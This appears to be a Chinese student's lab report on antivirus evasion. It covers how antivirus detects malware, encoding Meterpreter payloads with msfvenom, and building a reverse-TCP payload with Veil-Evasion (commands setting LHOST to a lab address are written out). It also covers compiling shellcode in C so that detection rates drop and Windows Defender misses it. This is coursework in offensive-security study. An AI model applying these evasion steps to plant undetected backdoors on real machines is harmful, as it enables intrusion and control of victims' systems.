20145310《网络对抗技术》免杀原理与实践
基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测
基于行为的检测,根据该代码是否有恶意行为来判别,若有恶意的行为就认为该代码是恶意代码。
(2)免杀是做什么?
通过一些技术手段,改变恶意程序的明显特征等信息达到避免被杀毒软件查杀目的。
(3)免杀的基本方法有哪些?
改变特征码,对恶意代码进行加壳,或编译器进行再编译,利用shellcode进行编码
实践总结与体会
这次实验让我掌握了一些基本的免杀技术,一般恶意代码如何伪装,体会到了杀毒软件的不靠谱。想要绕过杀软并没有想象中那么难。
离实战还缺些什么技术或步骤?
实战中如何在靶机上注入后门程序并运行等。主机需要一个稳定的ip地址来监听靶机。
实践过程
msfvenom直接生成meterpreter可执行文件
Windows与Kali的IP地址如图:
生成meterpreter可执行文件
用ncat将文件传输到windows,检测:
Msfvenom使用编码器生成meterpreter可执行文件
编码一次,生成可执行文件
用ncat将文件传输到windows,并检测:
百分之51,结果并不理想
Msfvenom使用编码器生成可执行文件
用ncat将文件传输到windows,再检测:
结果查杀率更高了,看来并没有什么有甚至还有副作用
如果生成十次的话
稍微好了一点,不过近乎没有变化
Veil-Evasion生成可执行文件
直接输入veil-evasion打开软件
在menu里面输入以下命令来生成可执行文件:
use python/meterpreter/rev_tcp
set LHOST 192.168.1.101
generate
5310-winmine
1
成功后如下:
检测:
效果大幅提升
C语言调用Shellcode
生成一个c语言格式的Shellcode数组:
监听,运行刚刚编译生成的可执行文件,成功获取权限
下图是检测结果
15%比最初少很多,效果真的不错
可怕的是我的windows defender并没有检测出来,所以呢,还是要安装AVAST这种杀毒软件比较安全吧。